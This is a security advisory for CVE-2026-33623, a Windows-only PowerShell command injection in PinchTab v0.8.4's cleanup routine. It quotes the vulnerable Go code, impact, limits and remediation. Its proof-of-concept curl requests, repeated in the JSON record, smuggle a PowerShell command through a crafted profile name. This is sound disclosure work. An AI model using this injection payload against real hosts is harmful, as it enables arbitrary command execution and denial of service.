GHSA-P8MM-644P-PHMH

Vulnerability from github – Published: 2026-03-24 19:46 – Updated: 2026-03-24 19:46
VLAI?
Summary
PinchTab: OS Command Injection via Profile Name in Windows Cleanup Routine Enables Arbitrary Command Execution
Details

Summary

PinchTab v0.8.4 contains a Windows-only command injection issue in the orphaned Chrome cleanup path. When an instance is stopped, the Windows cleanup routine builds a PowerShell -Command string using a needle derived from the profile path. In v0.8.4, that string interpolation escapes backslashes but does not safely neutralize other PowerShell metacharacters.

If an attacker can launch an instance using a crafted profile name and then trigger the cleanup path, they may be able to execute arbitrary PowerShell commands on the Windows host in the security context of the PinchTab process user.

This is not an unauthenticated internet RCE. It requires authenticated, administrative-equivalent API access to instance lifecycle endpoints, and the resulting command execution inherits the permissions of the PinchTab OS user rather than bypassing host privilege boundaries.

Details

Issue 1 — PowerShell command string built with interpolated user-influenced data (internal/bridge/cleanup_windows.go in v0.8.4):

func findPIDsByPowerShell(needle string) []int {
    escaped := strings.ReplaceAll(needle, `\`, `\\`)
    cmd := exec.Command("powershell", "-NoProfile", "-Command",
        fmt.Sprintf(`Get-CimInstance Win32_Process -Filter "Name='chrome.exe'" | `+
            `Where-Object { $_.CommandLine -like '*%s*' } | `+
            `Select-Object -ExpandProperty ProcessId`, escaped))
}

The needle value is interpolated directly into a PowerShell command string. Escaping backslashes alone is not sufficient to make arbitrary user-controlled content safe inside a PowerShell expression.

Issue 2 — needle is derived from launchable profile names:

The cleanup path uses:

findPIDsByPowerShell(fmt.Sprintf("--user-data-dir=%s", profileDir))

The profile directory is derived from the instance/profile name used during launch. In v0.8.4, profile name validation rejected path traversal characters such as /, \, and .., but it did not comprehensively block PowerShell metacharacters such as single quotes or statement separators.

Issue 3 — Trigger path is reachable through normal instance lifecycle APIs:

The attack path described in the report uses:

  1. POST /instances/launch with a crafted name
  2. POST /instances/{id}/stop to trigger the cleanup routine

That means exploitability depends on access to privileged orchestration endpoints, not on local shell access.

PoC

Environment assumptions

  • PinchTab v0.8.4
  • Windows host
  • Valid API token with access to instance lifecycle endpoints

Example sequence

curl -X POST http://HOST:9867/instances/launch \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "poc'\''; Start-Process calc; $x='\''",
    "mode": "headless"
  }'

Then:

curl -X POST http://HOST:9867/instances/<INSTANCE_ID>/stop \
  -H "Authorization: Bearer <TOKEN>"

If the payload survives the launch path and reaches the vulnerable cleanup code, the injected PowerShell executes when the Windows cleanup routine runs.

Impact

  1. Arbitrary PowerShell command execution on Windows as the PinchTab process user.
  2. Full compromise of data and processes accessible to that user account.
  3. Possible persistence or host-level follow-on actions within the same user security context.
  4. Potential repeated execution in restart-heavy environments if the vulnerable cleanup path is triggered repeatedly.

Scope And Limits

  1. Windows only.
  2. Requires authenticated, administrative-equivalent API access to instance lifecycle endpoints.
  3. Does not by itself elevate beyond the privileges of the Windows user running PinchTab.
  4. This is stronger than a policy bypass or low-risk hardening gap, but narrower than unauthenticated remote code execution.

Suggested Remediation

  1. Do not interpolate user-influenced values into PowerShell -Command strings.
  2. Pass search terms through environment variables or structured arguments instead of code generation.
  3. Keep strict validation on profile names, but do not rely on input validation alone as the primary defense.
  4. Add regression tests covering PowerShell metacharacters in profile-derived values on Windows.

Steps to Reproduce:

Environment Setup: Target: PinchTab v0.8.4 (Windows build) Platform: Windows only

1. Launch Instance with Malicious Profile Name

curl -X POST http://[server-ip]:9867/instances/launch \
  -H "Authorization: Bearer <TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "poc'\''; Start-Process calc; $x='\''",
    "mode": "headless"
  }'

2. Stop Instance to Trigger Injection

curl -X POST http://[server-ip]:9867/instances/<INSTANCE_ID>/stop \
  -H "Authorization: Bearer <TOKEN>"

Additional Observation — Repeated Execution (DoS Amplification)

In environments where instances are automatically restarted (e.g., always-on mode), the cleanup routine is triggered repeatedly.

Because the injection occurs during cleanup, the payload is executed on every restart cycle: Continuous spawning of calc.exe processes Resource exhaustion System instability or crash

Impact

This vulnerability allows an authenticated attacker to execute arbitrary PowerShell commands on the Windows host running PinchTab. Impact - full host compromise including command execution, persistence, and data access; Root Cause - user-controlled input (profile name) is embedded into a PowerShell command without proper neutralization of special characters; Remediation - avoid constructing shell commands using string interpolation, enforce strict input validation (allowlist), and use structured command execution instead of powershell -Command.

Additionally, because the injection is triggered during the cleanup routine, environments with automatic instance restart behavior may repeatedly execute the injected payload, leading to uncontrolled process creation and resource exhaustion. This enables a reliable denial-of-service condition in addition to remote code execution.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.4"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/pinchtab/pinchtab/cmd/pinchtab"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33623"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-24T19:46:39Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nPinchTab `v0.8.4` contains a Windows-only command injection issue in the orphaned Chrome cleanup path. When an instance is stopped, the Windows cleanup routine builds a PowerShell `-Command` string using a `needle` derived from the profile path. In `v0.8.4`, that string interpolation escapes backslashes but does not safely neutralize other PowerShell metacharacters.\n\nIf an attacker can launch an instance using a crafted profile name and then trigger the cleanup path, they may be able to execute arbitrary PowerShell commands on the Windows host in the security context of the PinchTab process user.\n\nThis is not an unauthenticated internet RCE. It requires authenticated, administrative-equivalent API access to instance lifecycle endpoints, and the resulting command execution inherits the permissions of the PinchTab OS user rather than bypassing host privilege boundaries.\n\n### Details\n**Issue 1 \u2014 PowerShell command string built with interpolated user-influenced data (`internal/bridge/cleanup_windows.go` in `v0.8.4`):**\n\n```\nfunc findPIDsByPowerShell(needle string) []int {\n    escaped := strings.ReplaceAll(needle, `\\`, `\\\\`)\n    cmd := exec.Command(\"powershell\", \"-NoProfile\", \"-Command\",\n        fmt.Sprintf(`Get-CimInstance Win32_Process -Filter \"Name=\u0027chrome.exe\u0027\" | `+\n            `Where-Object { $_.CommandLine -like \u0027*%s*\u0027 } | `+\n            `Select-Object -ExpandProperty ProcessId`, escaped))\n}\n```\n\nThe `needle` value is interpolated directly into a PowerShell command string. Escaping backslashes alone is not sufficient to make arbitrary user-controlled content safe inside a PowerShell expression.\n\n**Issue 2 \u2014 `needle` is derived from launchable profile names:**\n\nThe cleanup path uses:\n\n```\nfindPIDsByPowerShell(fmt.Sprintf(\"--user-data-dir=%s\", profileDir))\n```\n\nThe profile directory is derived from the instance/profile name used during launch. In `v0.8.4`, profile name validation rejected path traversal characters such as `/`, `\\`, and `..`, but it did not comprehensively block PowerShell metacharacters such as single quotes or statement separators.\n\n**Issue 3 \u2014 Trigger path is reachable through normal instance lifecycle APIs:**\n\nThe attack path described in the report uses:\n\n1. `POST /instances/launch` with a crafted `name`\n2. `POST /instances/{id}/stop` to trigger the cleanup routine\n\nThat means exploitability depends on access to privileged orchestration endpoints, not on local shell access.\n\n### PoC\n**Environment assumptions**\n\n- PinchTab `v0.8.4`\n- Windows host\n- Valid API token with access to instance lifecycle endpoints\n\n**Example sequence**\n\n```bash\ncurl -X POST http://HOST:9867/instances/launch \\\n  -H \"Authorization: Bearer \u003cTOKEN\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"name\": \"poc\u0027\\\u0027\u0027; Start-Process calc; $x=\u0027\\\u0027\u0027\",\n    \"mode\": \"headless\"\n  }\u0027\n```\n\nThen:\n\n```bash\ncurl -X POST http://HOST:9867/instances/\u003cINSTANCE_ID\u003e/stop \\\n  -H \"Authorization: Bearer \u003cTOKEN\u003e\"\n```\n\nIf the payload survives the launch path and reaches the vulnerable cleanup code, the injected PowerShell executes when the Windows cleanup routine runs.\n\n### Impact\n1. Arbitrary PowerShell command execution on Windows as the PinchTab process user.\n2. Full compromise of data and processes accessible to that user account.\n3. Possible persistence or host-level follow-on actions within the same user security context.\n4. Potential repeated execution in restart-heavy environments if the vulnerable cleanup path is triggered repeatedly.\n\n### Scope And Limits\n1. Windows only.\n2. Requires authenticated, administrative-equivalent API access to instance lifecycle endpoints.\n3. Does not by itself elevate beyond the privileges of the Windows user running PinchTab.\n4. This is stronger than a policy bypass or low-risk hardening gap, but narrower than unauthenticated remote code execution.\n\n### Suggested Remediation\n1. Do not interpolate user-influenced values into PowerShell `-Command` strings.\n2. Pass search terms through environment variables or structured arguments instead of code generation.\n3. Keep strict validation on profile names, but do not rely on input validation alone as the primary defense.\n4. Add regression tests covering PowerShell metacharacters in profile-derived values on Windows.\n\n\n\n\n### **Steps to Reproduce:**\n\n**Environment Setup:**\nTarget: PinchTab v0.8.4 (Windows build)\nPlatform: Windows only\n\n**1. Launch Instance with Malicious Profile Name**\n\n```\ncurl -X POST http://[server-ip]:9867/instances/launch \\\n  -H \"Authorization: Bearer \u003cTOKEN\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"name\": \"poc\u0027\\\u0027\u0027; Start-Process calc; $x=\u0027\\\u0027\u0027\",\n    \"mode\": \"headless\"\n  }\u0027\n```\n\n**2. Stop Instance to Trigger Injection**\n\n```\ncurl -X POST http://[server-ip]:9867/instances/\u003cINSTANCE_ID\u003e/stop \\\n  -H \"Authorization: Bearer \u003cTOKEN\u003e\"\n```\n\n### **Additional Observation \u2014 Repeated Execution (DoS Amplification)**\n\n**In environments where instances are automatically restarted (e.g., always-on mode), the cleanup routine is triggered repeatedly.**\n\nBecause the injection occurs during cleanup, the payload is executed on every restart cycle:\nContinuous spawning of calc.exe processes\nResource exhaustion\nSystem instability or crash\n\n### **Impact**\n\nThis vulnerability allows an authenticated attacker to execute arbitrary PowerShell commands on the Windows host running PinchTab. Impact - full host compromise including command execution, persistence, and data access; Root Cause - user-controlled input (profile name) is embedded into a PowerShell command without proper neutralization of special characters; Remediation - avoid constructing shell commands using string interpolation, enforce strict input validation (allowlist), and use structured command execution instead of powershell -Command.\n\nAdditionally, because the injection is triggered during the cleanup routine, environments with automatic instance restart behavior may repeatedly execute the injected payload, leading to uncontrolled process creation and resource exhaustion. This enables a reliable denial-of-service condition in addition to remote code execution.",
  "id": "GHSA-p8mm-644p-phmh",
  "modified": "2026-03-24T19:46:39Z",
  "published": "2026-03-24T19:46:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pinchtab/pinchtab/security/advisories/GHSA-p8mm-644p-phmh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pinchtab/pinchtab/commit/25b3374bdcdf0dad32c44d5d726bf953238cd8bd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pinchtab/pinchtab"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PinchTab: OS Command Injection via Profile Name in Windows Cleanup Routine Enables Arbitrary Command Execution"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…